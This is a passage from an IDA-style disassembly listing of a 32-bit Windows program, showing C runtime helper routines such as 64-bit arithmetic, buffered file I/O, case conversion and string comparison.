		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D670	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_40DA4F+34p
					; sub_40DA4F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9B3	proc near		; CODE XREF: sub_41DA20+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DD39C
		call	sub_422EA8
		mov	edx, dword_4DD39C
		pop	ecx
		mov	ecx, dword_4DD398
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41DA12
		push	edx
		call	sub_422EA8
		add	eax, 10h
		push	eax
		push	dword_4DD39C
		call	sub_41BBE2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D9F5
		retn
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D9B3+3Fj
		mov	ecx, dword_4DD398
		sub	ecx, dword_4DD39C
		mov	dword_4DD39C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DD398, ecx


loc_41DA12:				; CODE XREF: sub_41D9B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DD398, 4
		retn
sub_41D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA20	proc near		; CODE XREF: sub_40DB3C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D9B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41DA20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA32	proc near		; DATA XREF: ___:00429018o
		push	80h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	dword_4DD39C, eax
		jnz	short loc_41DA53
		push	18h
		call	sub_41E2C9
		mov	eax, dword_4DD39C
		pop	ecx


loc_41DA53:				; CODE XREF: sub_41DA32+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DD39C
		mov	dword_4DD398, eax
		retn
sub_41DA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA61	proc near		; CODE XREF: sub_40DB5E+7Ap
					; sub_40DB5E+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41DA75


loc_41DA6D:				; CODE XREF: sub_41DA61+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41DA6D


loc_41DA75:				; CODE XREF: sub_41DA61+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_41DA7A:				; CODE XREF: sub_41DA61+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41DA7A
		pop	esi
		retn
sub_41DA61	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB07
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41DAAA
		cmp	edi, 1
		jz	short loc_41DAAA
		cmp	edi, 2
		jnz	short loc_41DB07


loc_41DAAA:				; CODE XREF: ___:0041DA9Ej
					; ___:0041DAA3j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41DAC1
		push	esi
		call	sub_422FA3
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41DAC1:				; CODE XREF: ___:0041DAB2j
		push	esi
		call	sub_41E42B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41DAD6
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41DAEA
; ---------------------------------------------------------------------------


loc_41DAD6:				; CODE XREF: ___:0041DACDj
		test	al, 1
		jz	short loc_41DAEA
		test	al, 8
		jz	short loc_41DAEA
		test	ah, 4
		jnz	short loc_41DAEA
		mov	dword ptr [esi+18h], 200h


loc_41DAEA:				; CODE XREF: ___:0041DAD4j
					; ___:0041DAD8j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_422F09
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DB14
; ---------------------------------------------------------------------------


loc_41DB07:				; CODE XREF: ___:0041DA96j
					; ___:0041DAA8j
		mov	dword_4DBDDC, 16h
		or	eax, 0FFFFFFFFh


loc_41DB14:				; CODE XREF: ___:0041DB05j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB20	proc near		; CODE XREF: sub_413694+19Ep
					; sub_4143F7+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DB39
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DB39:				; CODE XREF: sub_41DB20+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB54	proc near		; CODE XREF: ___:0041668Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DB78
		xor	eax, eax
		jmp	loc_41DC45
; ---------------------------------------------------------------------------


loc_41DB78:				; CODE XREF: sub_41DB54+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DB8B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DB92
; ---------------------------------------------------------------------------


loc_41DB8B:				; CODE XREF: sub_41DB54+2Dj
		mov	[ebp+arg_C], 1000h


loc_41DB92:				; CODE XREF: sub_41DB54+35j
					; sub_41DB54+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DBC6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DBC6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DBAC
		mov	edi, eax


loc_41DBAC:				; CODE XREF: sub_41DB54+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41CD20
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DC0C
; ---------------------------------------------------------------------------


loc_41DBC6:				; CODE XREF: sub_41DB54+47j
					; sub_41DB54+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DC11
		test	ecx, ecx
		jz	short loc_41DBDA
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DC53


loc_41DBDA:				; CODE XREF: sub_41DB54+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DBED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DBEF
; ---------------------------------------------------------------------------


loc_41DBED:				; CODE XREF: sub_41DB54+8Aj
		mov	edi, ebx


loc_41DBEF:				; CODE XREF: sub_41DB54+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DC4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DC4A


loc_41DC0C:				; CODE XREF: sub_41DB54+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DC3A
; ---------------------------------------------------------------------------


loc_41DC11:				; CODE XREF: sub_41DB54+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41FE2A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DC3A
		mov	[ebp+arg_C], 1


loc_41DC3A:				; CODE XREF: sub_41DB54+BBj
					; sub_41DB54+DDj
		test	ebx, ebx
		jnz	loc_41DB92
		mov	eax, [ebp+arg_8]


loc_41DC45:				; CODE XREF: sub_41DB54+1Fj
					; sub_41DB54+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DC4A:				; CODE XREF: sub_41DB54+ADj
					; sub_41DB54+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DC55
; ---------------------------------------------------------------------------


loc_41DC53:				; CODE XREF: sub_41DB54+84j
					; sub_41DB54+CFj
		mov	eax, edi


loc_41DC55:				; CODE XREF: sub_41DB54+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DC45
sub_41DB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5E	proc near		; CODE XREF: sub_416CAF+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 2680E33h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DC7E
		call	near ptr 2680972h
		nop
		push	eax
		call	sub_420C7F
		pop	ecx


loc_41DC7A:				; CODE XREF: sub_41DC5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DC7E:				; CODE XREF: sub_41DC5E+Dj
		test	al, 1
		jz	short loc_41DC9F
		test	[esp+arg_4], 2
		jz	short loc_41DC9F
		mov	dword_4DBDDC, 0Dh
		mov	dword_4DBDE0, 5
		jmp	short loc_41DC7A
; ---------------------------------------------------------------------------


loc_41DC9F:				; CODE XREF: sub_41DC5E+22j
					; sub_41DC5E+29j
		xor	eax, eax
		retn
sub_41DC5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DCB0	proc near		; CODE XREF: sub_416CC9+3Fp
					; sub_41AED9+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DCD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD13
; ---------------------------------------------------------------------------


loc_41DCD2:				; CODE XREF: sub_41DCB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DCE0:				; CODE XREF: sub_41DCB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DCE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DD0E
		jb	short loc_41DD0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DD0F


loc_41DD0E:				; CODE XREF: sub_41DCB0+4Ej
					; sub_41DCB0+54j
		dec	esi


loc_41DD0F:				; CODE XREF: sub_41DCB0+56j
					; sub_41DCB0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DD13:				; CODE XREF: sub_41DCB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DCB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD20	proc near		; CODE XREF: sub_416CC9+2Dp
					; sub_41AED9+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DD41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DD91
; ---------------------------------------------------------------------------


loc_41DD41:				; CODE XREF: sub_41DD20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DD4F:				; CODE XREF: sub_41DD20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DD4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DD7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DD7A
		jb	short loc_41DD82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DD82


loc_41DD7A:				; CODE XREF: sub_41DD20+4Aj
					; sub_41DD20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DD82:				; CODE XREF: sub_41DD20+52j
					; sub_41DD20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DD91:				; CODE XREF: sub_41DD20+1Fj
		pop	ebx
		retn	10h
sub_41DD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DDA0	proc near		; CODE XREF: sub_416DD9+5Fp
					; sub_416DD9+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DDC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DDC1:				; CODE XREF: sub_41DDA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DDDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DDDD:				; CODE XREF: sub_41DDA0+27j
		or	eax, eax
		jnz	short loc_41DDF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DE3A
; ---------------------------------------------------------------------------


loc_41DDF9:				; CODE XREF: sub_41DDA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DE07:				; CODE XREF: sub_41DDA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DE07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DE35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DE35
		jb	short loc_41DE36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DE36


loc_41DE35:				; CODE XREF: sub_41DDA0+85j
					; sub_41DDA0+8Bj
		dec	esi


loc_41DE36:				; CODE XREF: sub_41DDA0+8Dj
					; sub_41DDA0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DE3A:				; CODE XREF: sub_41DDA0+57j
		dec	edi
		jnz	short loc_41DE44
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DE44:				; CODE XREF: sub_41DDA0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DDA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE4A	proc near		; CODE XREF: sub_417493+BFp
					; sub_417493+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBE84
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DE7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DEE5


loc_41DE66:				; CODE XREF: sub_41DE4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DE77
		cmp	cl, 7Ah
		jg	short loc_41DE77
		sub	cl, 20h
		mov	[edx], cl


loc_41DE77:				; CODE XREF: sub_41DE4A+21j
					; sub_41DE4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DE66
		jmp	short loc_41DEE5
; ---------------------------------------------------------------------------


loc_41DE7E:				; CODE XREF: sub_41DE4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_4232A8
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DED7
		push	edi
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DED7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DED7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_41DED7:				; CODE XREF: sub_41DE4A+53j
					; sub_41DE4A+61j ...
		push	[ebp+var_4]
		call	sub_41BA91
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DEE5:				; CODE XREF: sub_41DE4A+1Aj
					; sub_41DE4A+32j
		pop	ebx
		leave
		retn
sub_41DE4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEE8	proc near		; CODE XREF: sub_417E84+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DEFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DEFF:				; CODE XREF: sub_41DEE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DEE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF10	proc near		; CODE XREF: sub_420DB0+76p
					; sub_420DB0+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DF27
		push	8
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DF27:				; CODE XREF: sub_41DF10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DF40	proc near		; CODE XREF: sub_418295+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DF8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DF8D
		test	eax, 1
		jz	short loc_41DF6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DFBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DF8A


loc_41DF6D:				; CODE XREF: sub_41DF40+20j
					; sub_41DF40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DFBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DFBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DF6D


loc_41DF8A:				; CODE XREF: sub_41DF40+2Bj
					; sub_41DF40+84j
		pop	edi
		pop	esi

locret_41DF8C:				; CODE XREF: sub_41DF40+6j
		retn
; ---------------------------------------------------------------------------


loc_41DF8D:				; CODE XREF: sub_41DF40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DFC2
		repe cmpsd
		jz	short loc_41DFC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh
		jnz	short loc_41DFB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh


loc_41DFB5:				; CODE XREF: sub_41DF40+63j
					; sub_41DF40+67j ...
		mov	eax, 0


loc_41DFBA:				; CODE XREF: sub_41DF40+26j
					; sub_41DF40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DFC2:				; CODE XREF: sub_41DF40+55j
					; sub_41DF40+59j
		test	eax, eax
		jz	short loc_41DF8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		cmp	dh, ch
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DFB5
		dec	eax


loc_41DFE9:				; CODE XREF: sub_41DF40+8Fj
					; sub_41DF40+96j
		pop	edi
		pop	esi
		retn
sub_41DF40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFEC	proc near		; CODE XREF: sub_4185B5+6p
					; sub_4185D3+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41E019
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41E0B2
		cmp	eax, 5Ah
		jg	loc_41E0B2
		add	eax, 20h
		jmp	loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E019:				; CODE XREF: sub_41DFEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41E04D
		cmp	dword_43D084, esi
		jle	short loc_41E03B
		push	esi
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41E045
; ---------------------------------------------------------------------------


loc_41E03B:				; CODE XREF: sub_41DFEC+42j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41E045:				; CODE XREF: sub_41DFEC+4Dj
		test	eax, eax
		jnz	short loc_41E04D


loc_41E049:				; CODE XREF: sub_41DFEC+ADj
		mov	eax, ebx
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E04D:				; CODE XREF: sub_41DFEC+3Aj
					; sub_41DFEC+5Bj
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E071
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41E07A
; ---------------------------------------------------------------------------


loc_41E071:				; CODE XREF: sub_41DFEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41E07A:				; CODE XREF: sub_41DFEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41E049
		cmp	eax, esi
		jnz	short loc_41E0A5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E0A5:				; CODE XREF: sub_41DFEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41E0B2:				; CODE XREF: sub_41DFEC+16j
					; sub_41DFEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DFEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0B7	proc near		; CODE XREF: sub_418AF1+ADp
					; sub_419AE0+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41E0CE


loc_41E0C4:				; CODE XREF: sub_41E0B7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41E0C4


loc_41E0CE:				; CODE XREF: sub_41E0B7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41E0B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0D4	proc near		; CODE XREF: sub_418AF1+7Fp
					; sub_418AF1+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E1A1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E1CE
		cmp	dword_4DBE84, esi
		jnz	short loc_41E125
		cmp	edi, esi
		jbe	loc_41E1CE


loc_41E104:				; CODE XREF: sub_41E0D4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E1CE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E104
		jmp	loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E125:				; CODE XREF: sub_41E0D4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4270E8
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	loc_41E1CD
		nop
		call	near ptr 2680972h
		cmp	eax, 7Ah
		jz	short loc_41E15F


loc_41E150:				; CODE XREF: sub_41E0D4+CBj
					; sub_41E0D4+F7j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E15F:				; CODE XREF: sub_41E0D4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41E167:				; CODE XREF: sub_41E0D4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E189
		mov	edx, off_43CE78
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E17E
		inc	eax


loc_41E17E:				; CODE XREF: sub_41E0D4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41E167


loc_41E189:				; CODE XREF: sub_41E0D4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	short loc_41E1CE
		jmp	short loc_41E150
; ---------------------------------------------------------------------------


loc_41E1A1:				; CODE XREF: sub_41E0D4+Fj
		cmp	dword_4DBE84, esi
		jnz	short loc_41E1B4
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41E0D4+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 26F0000h
		cmp	eax, esi
		jz	short loc_41E150


loc_41E1CD:				; CODE XREF: sub_41E0D4+6Bj
		dec	eax


